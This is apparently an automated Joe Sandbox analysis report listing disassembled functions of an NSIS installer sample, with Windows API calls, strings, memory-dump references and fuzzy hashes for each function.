Opcode Fuzzy Hash: 5ce95e6898711e9886f103bf4f784cefd31a843339168ff7e1eca7dec36df742
Instruction Fuzzy Hash: EE51F435904305AACB217B65CD46ABF37B8DF41724F16813FF902751C1DB3C49A29AAD

Function 0040681B Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(007B9A60,?,00000000,00404FBF,007B9A60,00000000,00427950,0041F150,00000000), ref: 004068EC
GetSystemDirectoryW.KERNEL32(007E0D60,00002004), ref: 0040696E

Part of subcall function 0040601F: lstrcpynW.KERNEL32(?,?,00002004,00403907,007E95E0,NSIS Error), ref: 0040602C

GetWindowsDirectoryW.KERNEL32(007E0D60,00002004), ref: 00406981
lstrcatW.KERNEL32(007E0D60,\Microsoft\Internet Explorer\Quick Launch), ref: 004069FB
lstrlenW.KERNEL32(007E0D60,007B9A60,?,00000000,00404FBF,007B9A60,00000000,00427950,0041F150,00000000), ref: 00406A5D

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 004069F5
`~, xrefs: 00406842
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040693C
`~, xrefs: 00406A69

Memory Dump Source

Source File: 00000012.00000002.1537410766.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.1537353997.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000433000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A8000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007AF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000836000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1539499926.0000000000873000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_yKAghydJJ_QMtGbXeHXJyp3j.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch$`~$`~
API String ID: 3581403547-450655766
Opcode ID: 374e0595bb97e7487ac609e740c3c1fde53312a0c63930343963d002ff647ad1
Instruction ID: f0e19f9528a57ac158c9a3c92ca4e3ea7bb27298c0fdca1021e2216b23c4434f
Opcode Fuzzy Hash: 374e0595bb97e7487ac609e740c3c1fde53312a0c63930343963d002ff647ad1
Instruction Fuzzy Hash: 9771F3B1A00215EBDF20AF69CC456BA3774AB55714F12C03FE902BA2D0D73D89A1DF99

Function 00406AAF Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(007D9B00,NUL,?,00000000,?,00000000,?,00406CA6,?,?,00000001,00406EC4,?,00000000,000000F1,?), ref: 00406ABF
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,00406CA6,?,?,00000001,00406EC4,?,00000000,000000F1,?), ref: 00406ADE
GetShortPathNameW.KERNEL32(?,007D9B00,00000400), ref: 00406AE7

Part of subcall function 00405DCC: lstrlenA.KERNEL32(00406BE9,?,00000000,00000000,?,00000000,00406BE9,00000000,[Rename]), ref: 00405DDC
Part of subcall function 00405DCC: lstrlenA.KERNEL32(00000000,?,00000000,00406BE9,00000000,[Rename]), ref: 00405E0E

GetShortPathNameW.KERNEL32(?,007DF158,00000400), ref: 00406B08
WideCharToMultiByte.KERNEL32(00000000,00000000,007D9B00,000000FF,007DA300,00000400,00000000,00000000,?,00000000,?,00406CA6,?,?,00000001,00406EC4), ref: 00406B31
WideCharToMultiByte.KERNEL32(00000000,00000000,007DF158,000000FF,007DA950,00000400,00000000,00000000,?,00000000,?,00406CA6,?,?,00000001,00406EC4), ref: 00406B49
wsprintfA.USER32 ref: 00406B63
GetFileSize.KERNEL32(00000000,00000000,007DF158,C0000000,00000004,007DF158,?), ref: 00406B9B
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406BAA
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BC6
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406BF6
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,007DAD50,00000000,-0000000A,0040987C,00000000,[Rename]), ref: 00406C4D

Part of subcall function 00405E66: GetFileAttributesW.KERNELBASE(00000003,004035DD,0085E0D8,80000000,00000003,?,?,?,00000000,00403A5D,?), ref: 00405E6A
Part of subcall function 00405E66: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A5D,?), ref: 00405E8C

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C61
GlobalFree.KERNEL32(00000000), ref: 00406C68
CloseHandle.KERNEL32(?), ref: 00406C72

Strings

NUL, xrefs: 00406AB4
%s=%s, xrefs: 00406B59
[Rename], xrefs: 00406BDE, 00406BED

Memory Dump Source

Source File: 00000012.00000002.1537410766.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.1537353997.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000433000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A8000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007AF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000836000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1539499926.0000000000873000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_yKAghydJJ_QMtGbXeHXJyp3j.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: %s=%s$NUL$[Rename]
API String ID: 565278875-4148678300
Opcode ID: 1114a109490fbdc9d9cd55ac8155771844d87d5164aa3d9ff1e3f2f03f1a6129
Instruction ID: 9e8937d24cbcc237378a1661f1c9ec94e544457fac856d3cc281a3c4cf2fe410
Opcode Fuzzy Hash: 1114a109490fbdc9d9cd55ac8155771844d87d5164aa3d9ff1e3f2f03f1a6129
Instruction Fuzzy Hash: 80412772108209BFD6202B71DE8CD6B3A6CEF4A754B16053EF286F22D1DA389815867D

Function 004060FD Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062EA,00000000), ref: 00406114
GetFileAttributesW.KERNEL32(007E8D80,?,00000000,00000000,?,?,004062EA,00000000), ref: 00406152
WriteFile.KERNEL32(00000000,000000FF,00000002,?,00000000,007E8D80,40000000,00000004,?,?,004062EA,00000000), ref: 0040618B
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,007E8D80,40000000,00000004,?,?,004062EA,00000000), ref: 00406197
lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00409678,?,00000000,00000000,?,?,004062EA,00000000), ref: 004061B1
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,004062EA,00000000), ref: 004061B8
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,?,00000000,?,?,004062EA,00000000), ref: 004061CD

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004061AB, 004061B0, 004061B7, 004061C6

Memory Dump Source

Source File: 00000012.00000002.1537410766.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.1537353997.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000433000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A8000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007AF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000836000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1539499926.0000000000873000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_yKAghydJJ_QMtGbXeHXJyp3j.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-2769509956
Opcode ID: 53c63a071f7c75f6cc39809f4cfc821ae677a8637f79a140c0a1ee0d9f50a72e
Instruction ID: 63b6af9be1db431a2b362d5c3b596523b37325ffd0be647115a0f8ea25bc4e05
Opcode Fuzzy Hash: 53c63a071f7c75f6cc39809f4cfc821ae677a8637f79a140c0a1ee0d9f50a72e
Instruction Fuzzy Hash: D921C571500244BFD7109F64DE89D9B3728EB01370B11C33AF52ABA1E1D7385D858BAC

Function 00403DE0 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403DFA
GetSysColor.USER32(00000000), ref: 00403E16
SetTextColor.GDI32(?,00000000), ref: 00403E22
SetBkMode.GDI32(?,?), ref: 00403E2E
GetSysColor.USER32(?), ref: 00403E41
SetBkColor.GDI32(?,?), ref: 00403E51
DeleteObject.GDI32(?), ref: 00403E6B
CreateBrushIndirect.GDI32(?), ref: 00403E75

Memory Dump Source

Source File: 00000012.00000002.1537410766.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.1537353997.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000433000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A8000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007AF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000836000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1539499926.0000000000873000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_yKAghydJJ_QMtGbXeHXJyp3j.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction ID: b52718d9992bdd50d7332cd031ec406bc7d8e9614cebeb5df0ac4ec60e17e4e9
Opcode Fuzzy Hash: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction Fuzzy Hash: 40116371500704ABC7219F78DE08B5BBFF8AF01711F048A7DE886E22A0D738DA48CB94

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(00056400,00000064,0017BBBC), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000012.00000002.1537410766.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.1537353997.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000433000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A8000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007AF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000836000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1539499926.0000000000873000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_yKAghydJJ_QMtGbXeHXJyp3j.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 0927bb4ed48fc27ce86c7514204bd566bf0cfbbf84362ab54b8100dd2a89eb04
Instruction ID: 9fbafa62008f9a5ff2b290cb2ce3c23c2df22ed1ca64675581df3bb266551b9d
Opcode Fuzzy Hash: 0927bb4ed48fc27ce86c7514204bd566bf0cfbbf84362ab54b8100dd2a89eb04
Instruction Fuzzy Hash: BB014470610209ABEF109F60DD59FAA3B69FB00349F00803DFA45B91E0DB7896558B58

Function 0040604E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,008560C8,008420A0,008560C8,00000000,004037EE,008560C8,-00000002,00403A21), ref: 004060B1
CharNextW.USER32(?,?,?,00000000), ref: 004060C0
CharNextW.USER32(?,008560C8,008420A0,008560C8,00000000,004037EE,008560C8,-00000002,00403A21), ref: 004060C5
CharPrevW.USER32(?,?,008420A0,008560C8,00000000,004037EE,008560C8,-00000002,00403A21), ref: 004060D9

Strings

*?|<>/":, xrefs: 004060A0

Memory Dump Source

Source File: 00000012.00000002.1537410766.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.1537353997.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000433000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A8000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007AF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000836000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1539499926.0000000000873000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_yKAghydJJ_QMtGbXeHXJyp3j.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction ID: a09026506d824dbf9e13ec1e4905f02e05ac7e50fa84eba4f97cb212d859c974
Opcode Fuzzy Hash: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction Fuzzy Hash: 6F11E71185062159DB30EB259C4097BB6F8EE99760752843FE9C6F32C0EB7C8CA1D2BD

Function 0040505D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 0040506D

Part of subcall function 00403DC5: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DD7

OleUninitialize.OLE32(00000404,00000000), ref: 004050BB

Part of subcall function 004062B9: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E8F,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062C6
Part of subcall function 004062B9: wvsprintfW.USER32(00000000,?,?), ref: 004062DD

Strings

Skipping section: "%s", xrefs: 004050CB
Section: "%s", xrefs: 0040508F

Memory Dump Source

Source File: 00000012.00000002.1537410766.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.1537353997.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000433000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A8000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007AF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000836000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1539499926.0000000000873000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_yKAghydJJ_QMtGbXeHXJyp3j.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: 99d14f7043e79d3d8086908b3cabd6d308359c9a829abfe0eea5bc0ae8c4af9b
Instruction ID: 72b980f80c28ecfcd0407e0dace594f9e180666c0886337011194864861aae86
Opcode Fuzzy Hash: 99d14f7043e79d3d8086908b3cabd6d308359c9a829abfe0eea5bc0ae8c4af9b
Instruction Fuzzy Hash: D2F0D1368246009AE2106755BD06B6A77A4DF85711F68403FFF40B22E1DF7D18418AAD

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00403719,00000001,?,?,?,00000000,00403A5D,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A5D,?), ref: 0040332E

Memory Dump Source

Source File: 00000012.00000002.1537410766.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.1537353997.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000433000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A8000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007AF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000836000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1539499926.0000000000873000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_yKAghydJJ_QMtGbXeHXJyp3j.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: ac63fb45ebae7e502b517329f215a40213becb05cb1b7459b7d9d9338ff04f82
Instruction ID: 97d955eecb999c6cc4ecec0c264b20ab0036741e5c77e3c2fc1849182f84e521
Opcode Fuzzy Hash: ac63fb45ebae7e502b517329f215a40213becb05cb1b7459b7d9d9338ff04f82
Instruction Fuzzy Hash: 5BF05E30506620EBC2206FA4FE5CBAB7F68F704B82B41447EF541B12A4CB384951CBDC

Function 00405C55 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,007D5AB0,Error launching installer), ref: 00405C7A
CloseHandle.KERNEL32(?), ref: 00405C87

Strings

Error launching installer, xrefs: 00405C5E

Memory Dump Source

Source File: 00000012.00000002.1537410766.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.1537353997.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000433000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A8000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007AF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000836000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1539499926.0000000000873000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_yKAghydJJ_QMtGbXeHXJyp3j.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: c30e874c0dd13dafab9eec4149781a552473f0f0671de2e9495985384250c353
Instruction ID: e53b0d2e07ed5cc42b65f46c088a0ffbd9ee82f7db84de32081c625a94508254
Opcode Fuzzy Hash: c30e874c0dd13dafab9eec4149781a552473f0f0671de2e9495985384250c353
Instruction Fuzzy Hash: C9E0ECB0900219ABEB009F64DE49D7B7FBCFB40305B408526A955E2250D778D8148AA8

Function 004062B9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E8F,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062C6
wvsprintfW.USER32(00000000,?,?), ref: 004062DD

Part of subcall function 004060FD: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062EA,00000000), ref: 00406114

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062BB, 004062C0

Memory Dump Source

Source File: 00000012.00000002.1537410766.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.1537353997.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000433000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A8000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007AF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000836000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1539499926.0000000000873000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_yKAghydJJ_QMtGbXeHXJyp3j.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: 7855ac2f6164c7a2629bb99e179585e0bc82677cf2e10cbf779388d075bdbb21
Instruction ID: 2883f6fdbb75122e7c86ea7043297328e8e8306c32113c26ceb0f942655100f9
Opcode Fuzzy Hash: 7855ac2f6164c7a2629bb99e179585e0bc82677cf2e10cbf779388d075bdbb21
Instruction Fuzzy Hash: 1ED0523429460EAACA009BA0EE1DE1A3B79EF80304F84843EF046820B0EA389002CB0D

Function 00405DCC Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00406BE9,?,00000000,00000000,?,00000000,00406BE9,00000000,[Rename]), ref: 00405DDC
lstrcmpiA.KERNEL32(00000000,00406BE9), ref: 00405DF4
CharNextA.USER32(00000000,?,00000000,00406BE9,00000000,[Rename]), ref: 00405E05
lstrlenA.KERNEL32(00000000,?,00000000,00406BE9,00000000,[Rename]), ref: 00405E0E

Memory Dump Source

Source File: 00000012.00000002.1537410766.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.1537353997.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000433000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007A8000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007AF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.00000000007DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1537531347.0000000000836000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000012.00000002.1539499926.0000000000873000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_yKAghydJJ_QMtGbXeHXJyp3j.jbxd

Similarity

